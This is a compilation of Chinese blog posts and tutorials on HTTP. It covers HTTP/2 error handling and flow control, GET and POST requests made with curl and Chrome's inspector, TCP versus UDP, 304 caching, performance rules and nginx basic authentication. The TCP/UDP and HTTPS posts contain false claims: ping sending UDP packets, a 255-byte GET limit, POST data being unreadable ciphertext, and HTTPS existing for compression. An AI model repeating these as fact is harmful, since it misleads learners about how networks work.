	使整个连接不可用的错误。

	单个流中出现的错误。



连接错误处理


导致帧处理层无法更进一步处理的错误是连接错误；

破坏任何连接状态的错误也是连接错误。


发现连接错误的终端应当首先发送一个 GOAWAY （内附带有最近的一个成功从对等端接收帧的StreamID，且包括错误码指示连接中断的原因）。发送GOAWAY后，终端必须关闭TCP连接。


只要可能，终端在终止连接时应当发送一个GOAWAY帧。


GOAWAY 有可能没有被可靠的接收。在连接错误事件中，GOAWAY 只是尽力告知对等端连接终止的原因。


流错误处理


流错误是与特定流相关的错误，并且不会影响其他流的处理。


终端检测到流错误时，发送RST_STREAM帧（内附一个错误发生的StreamID，和错误码）。


RST_STREAM是终端在流上可以发送的最后一帧。发送RST_STREAM帧后，必须准备好接收任何由远端发送或者准备发送的帧。这些帧可以被忽略，除非连接状态被修改。


通常，终端不应该在任何流上发送多个RST_STREAM帧。但是，终端如果在一个关闭的流上超过rtt时间后收到帧，则可以发送的额外的RST_STREAM帧。这种做法是被允许用来处理这种非常规情况。


终端绝不能在收到RST_STREAM帧后响应一个RST_STREAM帧，避免死循环。


连接终止


如果且在流仍然保持打开或者半封闭状态下，TCP连接断开的话，那么终端必须假定这些流是异常中断的，且是不完整的。


 HTTP 请求
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浏览器的 HTTP 请求

如果你对Android感兴趣，对Gradle感兴趣，那么可以看看我的最新博客gradle for Android文章：

第一篇 从Gradle和AS讲起：

http://segmentfault.com/a/1190000004229002

第二篇 Build.gradle入门

http://segmentfault.com/a/1190000004234712?_ea=538654

发起一个 HTTP 请求很容易。比如你说你想用浏览器访问 Reddit 。你所需要做的仅仅是启动浏览器然后在地址栏输入 http://www.reddit.com，然后你就可以看到:


承载 Reddit 网站的服务器处理你的请求并返回给你的浏览器一个响应。你的浏览器足够聪明去处理这个响应，然后将所有的颜色，图片，文字，样式给你展示成上图那样。

用 HTTP 工具发起 HTTP 请求

因为浏览器给我们展示的是处理过的服务器响应，我们看不到服务器发给我们的响应的本来面目。怎么样才能看到原始的 HTTP 响应数据呢？

为此，我们可以使用一个 HTTP 工具，就像用浏览器的时候我们输入网址一样，我们可以用 HTTP 工具发送一个请求到 http://www.reddit.com。我们的 HTTP 工具，Paw，不会处理响应数据，这样能让我们看到原始的响应数据，大概长这样：



跟你在浏览器里看到的简直就是天壤之别啊！如果你以前从来没见过原始的 HTTP 响应数据，这可能让你有点吃惊。你现在看到的这些，其实就是你浏览器接收到的数据，只不过是浏览器把这一堆数据处理成了人类友好的格式。

如果你学习 HTTP 的知识是为了成为一个 web 开发者，你需要学着阅读原始的 HTTP 响应数据。当然你不用在你的脑海里把这些数据解析成一个高清晰度的画面，但是你应该对这些响应代表着什么有一个整体上的概念。等你有了足够的经验，你就可以深入原始的 HTTP 响应数据去做一些 debug 工作和一探其究竟。

使用审查器 (Inspector)

所有现代浏览器都有查看 HTTP 请求和响应的方法，通常都叫做审查器。我们使用 Chrome 审查器，演示一下如何用它来分析你浏览器的 HTTP 通信。


	打开 Chrome 浏览器，点击右上角的菜单，选择工具，然后选择开发者工具，这样就打开审查器了。


	在地址栏输入 http://www.reddit.com，来给 Reddit 重新发送一个新的请求。


	以上两个步骤要确保审查器开着啊，然后点击 Network 标签:







	你应该注意的第一件事是，这里会有很多项。每一项都是一个单独的请求，也就是说，仅仅是访问了这一个 URL，你的浏览器就发起了多个请求，一个请求对应着一个资源 （图片，文件等等）。点击一下对主页的第一个请求，就是www.reddit.com那项:



	这里，你就能看到特定的请求头部，cookies，还有原始的响应数据:





在默认的子标签 Headers 里显示了发给服务器的请求头部和接收到的服务器返回来的响应头部。接下来点击 Response 子标签去看看原始响应数据。



这个响应数据看起来应该跟我们前面使用 HTTP 工具得到的差不多。

另一个要注意的事情是，当我们使用审查器的时候，在 Network 标签下，除了第一个请求，还有一堆其他请求的返回：



为什么会出现这些额外的响应，谁发起的这些请求？ 事情是这样的，当我们请求资源的时候，最初的对于www.reddit.com的请求，返回了一些 HTML。 这些 HTML 里又引用了其他的资源比如图片，CSS 文件，javascript 文件等等。你的浏览器，很聪明也很给力。它明白，为了展示出一个能够给人看的网页，它必须去把这些引用到的资源也一并拿来. 因此浏览器就会对得到的初次响应里的每一个资源再一一发起请求。当你在 Network 标签里往下滚动页面，你就能看到所有的相关资源。这些其他的请求保证了这个网页和其他一些东西能正常良好的显示在你的屏幕上.整体来看，浏览器的审查器对于相关的引用资源给你了一个良好的体验.另一方面，一个纯粹的 HTTP 工具，只会返回一个巨大的响应数据，并不会自动拉取引用的资源.一个用curl发起的请求可以这样写：

$ curl -X GET "http://www.reddit.com/" -m 30 -v


然后你看到的应该只是一个请求，一个响应包含着 HTML，但是没有那些你在浏览器里看到的自动发起的额外请求。

请求方法

让我们重温一下上面第 3 步里的图，看看 Network 标签里的响应数据。你会发现有这么两列 Method 和 Status 。



本节我们来看看这几列里的信息是什么意思。

在 Method 这一列里的数据呢，就是常说的 HTTP 请求方法 （ Request Method ）。你可以这样想，把这个 Method 当做是一个动词，用来告诉服务器你想对某个资源做什么。最常见的两个 HTTP 请求方法是 GET 和 POST 。当你想要获取信息的时候，使用GET这个最常用的 HTTP 请求方法。在上面那张图你应该能看到，所有使用 GET 的请求，都是为了去拿到那些需要显示在网页上的资源。

Status 这列显示了每一个请求的响应状态码。在本书的后面章节我们会详细讨论响应。现在你需要理解的是每一个请求都会得到一个响应，哪怕这响应是一个错误响应 -- 那它也是个响应嘛。（这句话其实不是百分百正确，因为有些响应会超时，但是现阶段我们不用在意这些细节。）

GET 请求

GET 请求一般出现在超链接或者浏览器的地址栏里。当你在你的浏览器地址栏里输入类似

http://www.reddit.com 

这样的地址的时候，你就是在发起一个 GET 请求。你让浏览器去取这个地址上的资源，这就意味着我们在整本书里一直在使用GET请求。在你点击 web 应用上的超链接的时候也会发生同样的事情。超链接的默认行为就是向一个 URL 发送GET请求。让我们用 HTTP 工具向 http://www.reddit.com 发起一个简单的 GET 请求。要确保你选择了 GET 这一项，然后输入网址:



在右边窗口你就能看到服务器发回来的原始 HTTP 响应数据和一些其他信息。

使用 curl 的读者呢，可以在终端里敲入以下命令：

curl -X GET "http://www.reddit.com/" -m 30 -v


我们也可以用 HTTP 工具发送带查询字符串的请求.举个例子，我们发起一个带查询字符串的请求去搜索https://itunes.apple.com/里所有跟Michael Jackson有关的东西.请求使用的 URL 长这样：

https://itunes.apple.com/search?term=Michael%20Jackson


还是那句话，用 Paw 的，发起请求前确保选的是GET。



这里我们仅仅是给https://itunes.apple.com/的服务器发送了一个带着参数 term=Michael%20Jackson 的 HTTP GET 请求，其中%20是空格的 URL 编码字符。

这个例子所用的 curl 命令是这样的：

$ curl -X GET "https://itunes.apple.com/search?term=Michael%20Jackson" -m 30 -v


以上就是你现阶段需要知道的所有关于发起 HTTP GET 请求的所有知识。主要的概念有以下几点：

GET 请求经常用于取得一个资源，而且大部分超链接都是 GET 请求。
一个 GET 请求的响应可以是任何东西，但是如果响应是一个 HTML 并且里面引用了其他资源，你的浏览器会自动对这些资源发起请求，而一个纯粹的 HTTP 工具则不会。
使用 GET 请求的时候在大小和安全性上有一些限制。

POST 请求

我们已经看到了怎么使用 GET 去从一个服务器取得和请求数据，但是如果我们需要给服务器提交一些数据怎办呢？ 这就要提到另一个非常必要和重要的 HTTP 请求法方法POST啦。当你想在服务器上采取一些行动，或者给服务器发送数据的时候，就要用到 POST 了。让我们用 HTTP 工具来举个例子：



按照惯例给出 curl 命令：

$ curl -X POST "http://echo.httpkit.com" -m 30 -v


上面的图片显示了对 http://echo.httpkit.com 发起的 POST请 求和服务器返回的响应。浏览器里的典型 POST 使用案例就是你提交一个表单的时候。POST 请求允许我们向服务器发送更大或者敏感的数据，比如图片或者视频。举个例子，比如我们要把我们的用户名和密码发送到服务器上去做验证。我们完全可以使用 GET 通过附加查询字符串把数据发给服务器。这样做的毛病很明显： 我们的验证信息在 URL 上是可见的。这必然不是我们想要的。在表单提交上使用 POST 请求能够解决这个问题。而且 POST 请求也能避免你使用 GET 请求时的查询字符串长度限制问题。通过 POST 请求，我们可以给服务器发送更大的数据。

我们再来看一个使用 POST 请求提交 web 表单的例子。在浏览器里我们的示例表单长这样：



提交表单后，你会被重定向到这样一个页面：



现在让我们切换到我们的 HTTP 工具，来模拟一下我们刚才在浏览器里做的事情。我们要发起一个 POST 请求到 http://al-blackjack.herokuapp.com/new_player 来代替在浏览器里填写表单。下面是我们填写第一个表单（就是那个我们写名字的那个）的方法：



或者用 curl：

$ curl -X POST "http://al-blackjack.herokuapp.com/new_player" -d "player_name=Albert" -m 30 -v


注意在图片和 curl 命令里我们都提供了额外的参数： player_name=albert 。 这个跟我们在第一个表单的 “What's your name?” 输入框里填写内容并提交是一样的。

我们可以使用审查器查看内容 （右键选择审查元素）。你能看到，我们在 POST 请求里发送的参数 player_name 就是这个表单里面 input 元素的 name 属性里的内容：



这个的奥秘在于，我们是怎样不通过 URL，仅仅是提交表单就把数据发送到服务器的呢？答案是 HTTP 的正文 （ Body ）。正文包含了正在传输的 HTTP 消息，这个内容是可选的。换句话说就是，可以发送一个没有正文的 HTTP 消息。当你要使用正文的时候，可以包含 HTML，图片，音频等等。你可以把正文看成包裹在信封里发出的信件（译注:URL 就好比是信封上写的地址，是可见的，而信的内容在信封里是不可见的）。

HTTP 工具和 curl 发起的 POST 请求跟你在浏览器里填写表单然后提交是一样的，紧接着我们会被重定向到下一个页面。仔细看看 HTTP 工具的图片，看看里面的原始响应数据，把我们重定向到下一个页面的关键信息在这一行

Location: http://al-blackjack.herokuapp.com/bet


Location 和它对应的数据，就是所谓的 HTTP 响应头部里的一部分 （是的，你可能也想到了，请求也有头部，但是在现在这个例子里，这是一个响应头部）。不要太在意这些细节，在后面章节我们会讨论头部。当你的浏览器看到这个响应头部，然后就会自动向 Location 头部里的 URL 发起一个全新的，完全独立的请求。你看到的那个 "Make a bet" 表单，就是这第二个请求的响应内容。



如果你对上面几段内容感到困惑，那就再多看两遍。使用浏览器的时候有一点很重要，那就是浏览器对你隐藏了大量的 HTTP 请求/响应的细节。你的浏览器发起最初的一个 POST 请求，得到了一个包含 Location 头部的响应，然后在不用你参与的情况下发起另一个请求，然后把第二个请求得到的响应内容展示给你。再重申一次，如果你使用的是一个纯粹的 HTTP 工具，你能看到第一个 POST 请求的 Location 响应头部，但是这个工具不会自动发起第二个请求。（有些 HTTP 工具有这个功能，你可以看看 "automatically follow redirects" 选项）

HTTP 头部

HTTP 头部允许客户端和服务器在请求/响应的 HTTP 周期里发送额外的信息。头部，通常是以冒号分隔的键值对儿，一般是纯文本格式的。我们可以使用审查器来看看这些头部。下面这张图你能看到请求和响应都有头部：



上图显示了在一个请求/响应周期里传递的各种头部。更进一步，在 Request Headers 下面，我们能看到请求和响应包含着不同的头部：



小结

本章我们做了一个简单的 HTTP 请求介绍。读完本章你应该能熟练应用：


	使用审查器查看 HTTP 请求


	使用 HTTP 工具发起 GET/POST 请求




关于 HTTP 请求最终的部分是理解以下内容：


	URL


	参数


	头部


	消息正文 （在 POST 请求里的）





 TCP/UDP协议,HTTP中GET与POST请求区别等

作者：ZhangJinzhao

来源： TCP/UDP协议,HTTP中GET与POST请求区别等



                    
TCP

TCP是基于连接的协议,也就是说,在正式收发数据前,必须和对方建立可靠的连接.一个TCP连接必须要经过三次"对话"(也称握手)才能建立起来.其中的过程非常复杂,我们这里只做简单,形象的介绍,你只要做到能够理解这个过程即可.简单过程:主机A向B发出连接请求数据包:"我想给你发数据,可以吗?"这是第一次对话; 主机B向主机A发送同意连接和要求同步(同步就是两台主机一个在发送,一个在接收,协调工作)的数据包:"可以,你什么时候发?"这是第二次对话; 主机A再发出一个数据包确认主机B的要求同步:"我现在就发,你接着吧",这是第三次对话.三次"对话"的目的是使数据包的发送和接收同步,经过三次对话之后,主机A才向主机B正式发送数据.

UDP

UDP是与TCP相对应的协议.它是面向非连接的协议,它不与对方建立连接,而是直接就把数据包发送过去.UDP适用于一次只传送少量数据,对可靠性要求不高的应用环境.比如,我们经常使用"ping"命令来测试两台主机之间TCP/IP通信是否正常,其实"ping"命令的原理就是向对方主机发送UDP数据包,然后对方主机确认收到数据包.如果数据包是否达到的消息,及时反馈回来,那么网络就是通的.例如,在默认状态下,一次"ping"操作发送4个数据包.发送的数据包是4包,收到的也是4包(因对对方主机收到后会发回一个确认收到的数据包)这说明了UDP协议是面向非连接的协议,没有建立连接的过程.正因如此,所以他的通信效率高,也正因如此,它的可靠性不如TCP协议高. QQ等用的UDP发消息,有时会出现收不到消息情况.

TCP/UDP的区别?

1)TCP面向连接,UDP面向非连接
2)TCP对系统资源的要求较多,UDP对系统资源的要求较少
3)TCP程序结构相对复杂,UDP程序结构较简单
4)TCP是流模式,UDP是数据报模式
5)TCP保证数据正确性,UDP可能丢包
6)TCP保证数据顺序,UDP不保证数据顺序
7)UDP Server不需要调用listen和accept
  UDP 收发数据用sendto/recvfrom函数
8)TCP:地址信息在connect/accept时确定UDP:在sendto/recvfrom函数中每次均需指定地址信息.

HTTP中GET请求和POST请求的区别?

1.给服务器传输数据的方法:
 GET:通过网址字符串
 POST:通过data

2.传输数据的大小:
 GET:网址字符串最多255字节
 POST:使用NSData.容量达到4G

3.安全性:
 GET:所有传输给服务器的数据,显示在网址里,类似于密码的明文输入,直接可见.
 POST:数据被转成NSData(二进制数据),类似于密码的密文输入,无法直接读取.

HTTP请求信息有3部分

HTTP请求格式
当浏览器向Web服务器发出请求时，它向服务器传递了一个数据块，也就是请求信息，HTTP请求信息由3部分组成：
l   请求方法URI协议/版本
l   请求头(Request Header)
l   请求正文
下面是一个HTTP请求的例子：

GET/sample.jspHTTP/1.1
Accept:image/gif.image/jpeg,*/*
Accept-Language:zh-cn
Connection:Keep-Alive
Host:localhost
User-Agent:Mozila/4.0(compatible;MSIE5.01;Window NT5.0)
Accept-Encoding:gzip,deflate
 
username=jinqiao&password=1234


（1） 请求方法URI协议/版本
请求的第一行是“方法URL议/版本”：GET/sample.jsp HTTP/1.1
以上代码中“GET”代表请求方法，“/sample.jsp”表示URI，“HTTP/1.1代表协议和协议的版本。
根据HTTP标准，HTTP请求可以使用多种请求方法。例如：HTTP1.1支持7种请求方法：GET、POST、HEAD、OPTIONS、PUT、DELETE和TARCE。在Internet应用中，最常用的方法是GET和POST。
URL完整地指定了要访问的网络资源，通常只要给出相对于服务器的根目录的相对目录即可，因此总是以“/”开头，最后，协议版本声明了通信过程中使用HTTP的版本。
（2） 请求头(Request Header)
请求头包含许多有关的客户端环境和请求正文的有用信息。例如，请求头可以声明浏览器所用的语言，请求正文的长度等。

Accept:image/gif.image/jpeg.*/*
Accept-Language:zh-cn
Connection:Keep-Alive
Host:localhost
User-Agent:Mozila/4.0(compatible:MSIE5.01:Windows NT5.0)
Accept-Encoding:gzip,deflate.


（3）　请求正文
请求头和请求正文之间是一个空行，这个行非常重要，它表示请求头已经结束，接下来的是请求正文。请求正文中可以包含客户提交的查询字符串信息：

username=jinqiao&password=1234


在以上的例子的HTTP请求中，请求的正文只有一行内容。当然，在实际应用中，HTTP请求正文可以包含更多的内容。

HTTP响应消息中状态码中1xx,2xx,3xx,4xx,5xx分别代表着什么意思?

状态代码有三位数字组成，第一个数字定义了响应的类别，且有五种可能取值：
1xx：指示信息--表示请求已接收，继续处理
2xx：成功--表示请求已被成功接收、理解、接受
3xx：重定向--要完成请求必须进行更进一步的操作
4xx：客户端错误--请求有语法错误或请求无法实现
5xx：服务器端错误--服务器未能实现合法的请求

HTTPS

HTTPS(Secure Hypertext Transfer Protocol)安全超文本传输协议 它是一个安全通信通道，它基于HTTP开发，用于在客户计算机和服务器之间交换信息。它使用安全套接字层(SSL)进行信息交换，简单来说它是HTTP的安全版。 它是由Netscape开发并内置于其浏览器中，用于对数据进行压缩和解压操作，并返回网络上传送回的结果。总得来说,http效率较高,https安全性较高

HTTPS和HTTP的区别：

https协议需要到ca申请证书，一般免费证书很少，需要交费。

http是超文本传输协议，信息是明文传输，https 则是具有安全性的ssl加密传输协议 http和https使用的是完全不同的连接方式用的端口也不一样：前者是80，后者是443。

http的连接很简单，是无状态的 HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议 要比http协议安全


 http 304 浅析

作者：赵雍

来源： http 304 浅析



                    
http 304

好久没写了。感觉荒废了好久。刚好今天有朋友问我关于静态资源缓存问题。突然唤起我的学习兴趣了。
发现好多同学对静态资源都不是很清楚。小弟我刚好有一点心得。和大家分享一下。其实就是当作我的笔记。欢迎指正。



原理

http 304 Not Modified

意思是：Not Modified 客户端有缓冲的文档并发出了一个条件性的请求（一般是提供If-Modified-Since头表示客户只想比指定日期更新的文档）。服务器告诉客户，原来缓冲的文档还可以继续使用。



HTTP/1.1 304 Not Modified不是服务器发出的错误提示。而是服务器所承载的业务系统在开发时为了节省链路带宽和提升浏览器的体验对GET/js、css、image等执行了缓存机制。

HTTP/1.1 304 Not Modified不是服务器发出的错误提示。而是服务器所承载的业务系统在开发时为了节省链路带宽和提升浏览器的体验对GET/js、css、image等执行了缓存机制。客户端在第一次对服务器业务发出GET请求后，客户端浏览器缓存了该页面，当客户端第二次对服务器发出同样的GET请求时，若客户端缓存中的If-Modified-Since过期，客户端将向服务器发出GET请求，验证If-Modified-Since和If-None-Match是否与WEB-server中信息一致，如果GET页面未做任何修改，服务器对客户端返回HTTP/1.1 304 Not Modified，客户端则直接从本地缓存中将页面调取



在做http请求分析之前，一定要了解这个参数

requset请求

(1)If-Modified-Since:发送请求时与服务器
(2)If-None-Match:

response返回

(1)Last-Modified:资源被修改的最后时间
(2)ETag:对资源的索引节（INode），大小（Size）和最后修改时间（MTime）进行Hash后得到的，是资源的唯一标识

特别注意：

(1)该两项参数将存储在客户端的浏览器cache中,Last-Modified值存储为 If-Modified-Since,ETag值存储为If-None-Match.

(2)ETag的优先级高于Last-Modified.

请求过程发生了什么

第一次请求：

客服端发送请求－》本地无缓存－》向服务发送请求－》返回静态资源，并且缓存到本地

这个是乐视网首页第一次请求时的截包，会发现静态资源的返回都是200



第二次请求：




	再这次请求中，http请求头部包括了If-Modified-Since，If-None-Match这两个参数与服务器做对比。如果相同，则获取本地的缓存信息，反之服务器返回新的资源。并且Last-Modified，ETag数据重置。


	服务器静态资源修改了，response返回的Last-Modified，ETag也会修改




这个是乐视网首页第二次请求时的截包，会发现静态资源的返回基本都是304




 关于网站性能优化准则

作者：narcissu

来源： 关于网站性能优化准则



                    
打算现在开始在博客里写点东西，也能为自己看过的书学过的知识做一个归纳总结。
这几日拜读了Steve Souders的《高性能网站建设指南这本书》，虽然这本书可能已经有些老了，但薄薄的一个小册子里提出的网站性能优化的准则还是非常有价值的。这些规则都有个共同点，就是用很小的工作就能获得很明显的性能提升，性价比极高。废话不多说了，总结一下书里的几点性能优化规则。

首先有一点需要说明的是书中所写的性能黄金法则：只有10%~20%的响应时间花在了下载HTML文档上，其余的80%~90%时间花在了下载页面的所有组件上。
这也是后面这些性能规则由来的核心。

规则一：减少HTTP请求。这本书的规则顺序是按照其重要性来排名的，减少HTTP请求作为第一个规则，足见其重要性。根据黄金法则，减少组件数量从而减少HTTP请求是最有效的性能优化方式，其中有几项技术值得提一下：


	CSS Sprites。应该前端人都比较熟悉了，把图片整合到一个大图里，利用background-position来定位。


	data:URL。值得一说把图片变为内联的，减少了图片请求，webpack里图片小于8kb就会转为base64的data:URL。


	合并脚本和CSS。




规则二：使用CDN。这个规则不用多说，分发内容使之更靠近终端用户，减少了请求时间。

规则三：添加Expires头。善用缓存，给长久不变的内容组件设置有效期较久的Expires头。

规则四：压缩组件。利用gzip等内容编码对文档或组件进行压缩，通常能将相应数据量减少70%左右。

规则五：将样式表放在顶部。页面在打开工程中逐步呈现，用户会觉得页面快一些，也让用户在等待过程中有一个良好的反馈。把CSS放在底部的话有可能出现白屏现象。

规则六：将脚本放在底部。页面下载脚本时会阻止其他内容下载与呈现，以防止浏览器的重绘重排。所以把脚本放在页面的底部不会阻止页面内容的呈现，而且页面一些可视化组件可以尽早下载而不被阻塞。

规则七：避免使用CSS表达式。CSS表达式会进行频繁的求值，导致了性能低下。

规则八：使用外部JavaScript和CSS。纯粹而言，内联更快一些，因为满足了规则一的减少HTTP请求，但是这个问题上，一定要考虑缓存带来的性能优化，外部文件很有可能被缓存下来，从而提升了性能。

规则九：减少DNS查找。善用DNS缓存，比如持久连接。

规则十：精简JavaScript。移除不必要的字符空格，我们常见的.min.js就是如此。

规则十一：避免重定向。3xx的响应状态码代表着一股重定向的响应。其中URL结尾缺少斜线造成的重定向需要特别注意，不要因为这一点失误损伤性能。

规则十二：删除重复脚本。

规则十三：配置ETag。说起这个不得不说条件请求If-Modified-Since和If-None-Match，都是用来进行缓存再验证。ETag的问题是服务器构造ETag时，尽管两个文件完全一样，但如果处于不同的服务器的话还是会有不同的ETag，增加了HTTP进行请求下载的次数，这对于后台是服务器集群的网站性能损伤很大。

规则十四：使Ajax可缓存。虽然Ajax是异步的，但也不能让等待响应的时间过长。优化准则的话参见上面的性能准则，其中善用缓存依然是我们重点关注的。

书最后用这些准则分析了美国十大网站，发现有效利用这些规则性能有很大的提升空间，我也看了一下自己实习时候项目，发现可优化的地方非常多。以后的开发过程中要谨记这些准则，让自己产品的用户获得更好的体验。


 如何在Ubuntu上通过Nginx设置HTTP认证

作者：张伯函
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Apache Utils

我们需要htpassword来创建和生成加密的用户用于基础认证（Basic Authentication）。通过以下命令安装apache2-utils。

sudo apt-get install apache2-utils

创建用户名和密码

在Nginx托管的网站目录下生成一个.htpasswd文件。如下的命令可以创建文件同步增加用户和加密的密码到文件中

sudo htpasswd -c /etc/nginx/.htpasswd exampleuser

命令行为提示你输入密码

New password:
Re-type new password:
Adding password for user exampleuser

htpaswd的文件格式如下：

login:password

注意：htpasswd需要对nginx运行用户可访问

更新Nginx配置

在你的网站的Nginx配置文件增加如下两行：

auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;

第二行是你的htpasswd文件位置。

举个例子，假如你的文件是/etc/nginx/sites-available/website_nginx.conf，通过vi或者其它编辑器打开该文件

sudo vi /etc/nginx/sites-available/website_nginx.conf

增加代码：

server {
  listen       portnumber;
  server_name  ip_address;
  location / {
      root   /var/www/mywebsite.com;
      index  index.html index.htm;
      auth_basic "Restricted";                                #For Basic Auth
      auth_basic_user_file /etc/nginx/.htpasswd;  #For Basic Auth
  }
}

刷新Nginx

为了使配置生效，需要刷新nginx配置，然后再访问

$ sudo /etc/init.d/nginx reload
* Reloading nginx configuration...  

原文：https://www.digitalocean.com/community/tutorials/how-to-set-up-http-authentication-with-nginx-on-ubuntu-12-10
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关于 HTTP 协议


HTTP（即超文本传输协议）是现代网络中最常见和常用的协议之一，设计它的目的是保证客户机和服务器之间的通信。


HTTP 的工作方式是客户机与服务器之间的 “请求-应答” 协议。


客户端可以是 Web 浏览器，服务器端可以是计算机上的某些网络应用程序。


通常情况下，由浏览器向服务器发起 HTTP 请求，服务器向浏览器返回响应。响应包含了请求的状态信息以及可能被请求的内容。


两种常见的 HTTP 请求：GET 和 POST


在客户机和服务器之间进行请求-响应时，两种最常被用到的请求方式是：GET 和 POST。


GET - 从指定的资源请求数据。

POST - 向指定的资源提交要被处理的数据。


GET 请求


请注意，查询字符串（名称/值对）是在 GET 请求的 URL 中发送的：


/test/test.php?name1=value1&name2=value2



有关 GET 请求的一些特点：



	GET 请求可以被缓存

	GET 请求保留在浏览器历史记录中

	GET 请求可被收藏为书签

	GET 请求不应在处理敏感数据时使用（即通常所说的数据不加密）

	GET 请求有长度限制

	GET 请求只应当用于从服务器取回数据



POST 请求


请注意，查询字符串（名称/值对）是在 POST 请求的 HTTP 消息主体中发送的：


POST /test/test.php HTTP/1.1
Host: baidu.com
name1=value1&name2=value2



有关 POST 请求的一些特点：



	POST 请求不会被缓存

	POST 请求不会保留在浏览器历史记录中

	POST 请求不能被收藏为书签

	POST 请求对数据长度没有要求

	POST 请求可以用于处理敏感数据



比较 GET 和 POST


下面的表格比较了两种 HTTP 方法：GET 和 POST





参考资料


http://www.w3school.com.cn/tags/html_ref_httpmethods.asp
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毕竟http2是新事物，尽管它的协议文本已经正式发布，但是相应的服务器和客户端代码依然在演进中。


我本人也特别关注浏览器部分。因为研究了颇有一段时间的node-http2，希望它可以和浏览器互操作，而不是自己的client，自己的server在那里左右互搏。


其中的firefox，最近的一片报道提到：Firefox 36 已经支持了最终版的h2。


Firefox 36, currently in beta, will support the official final “h2″ protocol for negotiation next week. ... Firefox 36 will also support draft IDs -14 and -15, and will use -15 to negotiate with Twitter as well as Google.

Mozilla outlines Firefox roadmap for HTTP/2 | VentureBeat | Business | by Emil Protalinski - http://venturebeat.com/2015/02/18/mozilla-outlines-firefox-roadmap-for-http2/



而chrome的最近报道兴趣盎然的提到了将会在2016年内删除spdy，却对我最关心的http2支持语焉不详。


We plan to gradually roll out support for HTTP/2 in Chrome 40 in the upcoming weeks.



所以，为了验证实际情况，我写了一小块服务器代码，当浏览器访问https://localhost:8001时，如果此浏览器支持http2的话，就会在服务器段打印h2:


var https = require('https');
var fs = require('fs');

var options = {
  key: fs.readFileSync('example/localhost.key'),
  cert: fs.readFileSync('example/localhost.crt')
};
var supportedProtocols = ["h2", "h2-14",'http/1.1', 'http/1.0'];
options.NPNProtocols = supportedProtocols;
var _server = https.createServer(options, function (req, res) {
  res.writeHead(200);
  res.end("hello world\n");
}).listen(8001);

_server.on('secureConnection', function(socket) {
      console.log('Protocol:'+socket.npnProtocol);      
});



实测效果是， firefox 36 支持http2了。用它访问 URL ,可以看到服务器打印了h2字样。

chrome 42啊打印h2-14。


所为的 in the upcoming weeks,还真是长啊，改成drozens of weeks 或者更妥。


 HTTP2-flow control
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流量控制


HTTP/2 流量控制的目标，在流量窗口初始值的约束下，给予接收端以全权，控制当下想要接受的流量大小。


算法是这样的：



	两端（收发）保有一个流量控制窗口（window）初始值。

	发送端每发送一个DATA帧，就把window递减，递减量为这个帧的大小，要是window小于帧大小，那么这个帧就必须被拆分。如果window等于0，就不能发送任何帧

	接收端可以发送 WINDOW_UPDATE帧给发送端，发送端以帧内指定的Window Size Increment作为增量，加到window上



鉴于发送端只要发送数据，window就会一直减少，这样，在初始值的配额下，接收端可以依据自己的处理能力等等参数，决定是否接受更多的帧，如果不想接，只要不发送WINDOW_UPDATE就可以。


比如说，发送端的初始window 为100，发送了一个DATA帧长度70，这时window 值为30；如果接收端回送 WINDOW_UPDATE,指定的Window Size Increment= 70,那么发送端的window恢复到100。


这个案例很简单，因此显得很幼稚：看起来就是发起端发送了70字节的数据，发送窗口减小，接收端拿到70字节，就会会送一个窗口增量。毫无流量控制的协议文本中那种板着面孔的深沉和...厚重的样子。可是，有人就是这样实现的。我说的是node-http2。


有测试用例为证(/test/flow.js)：


    describe('write() method', function() {
      it('call with a DATA frame should trigger sending WINDOW_UPDATE if remote flow control is not' +
         'disabled', function(done) {
        flow._window = 100;
        flow._send = util.noop;
        flow._receive = function(frame, callback) {
          callback();
        };        
        var buffer = new Buffer(util.random(10, 100));
        flow.write({ type: 'DATA', flags: {}, data: buffer });
        flow.once('readable', function() {
          expect(flow.read()).to.be.deep.equal({
            type: 'WINDOW_UPDATE',
            flags: {},
            stream: flow._flowControlId,
            window_size: buffer.length
          });
          done();
        });
      });
    });
  });



flow 就是流控对象，_window为流量控制窗口值，每次接到一个DATA帧，就会回送一个WINDOW_UPDATE帧，内涵的 window size increment 就是本次接受的DATA的数据长度。


接收端可以选择针对流及整个连接设置任意的窗口大小。发送端必须遵守接收端的流量控制限制。

帧类型决定了是否适用流量控制规则。只有DATA帧受流量控制；其他类型的帧不受流量控制。

流量控制是逐跳的(hop-by-hop)，而不是端到端(end-to-end)连接的。不过，不分析阅读编写HTTP2代理的人，大可不必关心这个。


尽管node-http2的流控实现比较土逼，我们还是应该向往"花样年华"的可能存在。


以往http1.x的浏览器，在下载多种类型资源时，会把 html ,css,js 排在最高优先级，而jpg等图片一定是非常低的优先级。在缺少并发、流量控制的时代这样做可以保证关键资源的管道，是正确的策略。惜在不够充分利用带宽，特别是在关键资源不是立刻可用的情况下。


然而，有些浏览器希望事先知道图片显示尺寸，可用更好的做布局，减少reflow现象，如果可以预先下载图片的元数据（图片头内有）就太好了。


现在，完全可以在关键资源发送期间，如果还有带宽空闲，就可以这样并发起来：


请求和发送关键资源
对图片字节，不必完全留中不发...先发前面的~kb (对图片的流实施较小的流量窗口window约束)
允许浏览器解码图片头获取显示尺寸
等到关键资源传递完毕，在放大图片的流量控制窗口 window
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谈及http/2，大家都会认为多播、服务器推送是最重要的。可是优先级调度一样非常关键。尽管客户端请求可以通过多播一次发出，服务器相应也可以通过多播，推送提高带宽利用率，然而，不分主次的使用，很可能会导致页面加载时间更长。因为高优先级的资源本应优先传递，却因为多播而必须和低优先级资源竞争，导致整体延误。


曾有人以spdy协议做过实验[1]，准备：

1. 服务器启用spdy

2. 客户端关闭 webkit的资源加载调度特性( ResourceLoadScheduler)， 不在节流，而是立刻发送全部请求


这样，本来由客户端做的节流以便调度优先级，转化为由支持SPDY服务器来做调度。加上多播和压缩，期望是会带来性能提升的。然而事与愿违：这样做的结果比起单纯的HTTP实际上是更慢了。细究发现，实验服务器（ngnix beta）并没有做优先级管理。目前，nginx的SPDY并不完善的，却被贸然的相对广泛的采用。


为什么说http/2，却以spdy举例？因为spdy就是http/2的前身，并且一直并行演化中。


动机


基于http实现的browser，采用的是对低优先级资源节流的做法，避免在高优先级资源没有完成前被低优先级资源挤占了带宽。


这样做是合理的，但是也带来了问题——就是在启动连接到文档的dom装入之间对带宽的利用不足：即使关键资源准备时间很长，网络再空闲，期间也不可以传递其他低优先级资源。


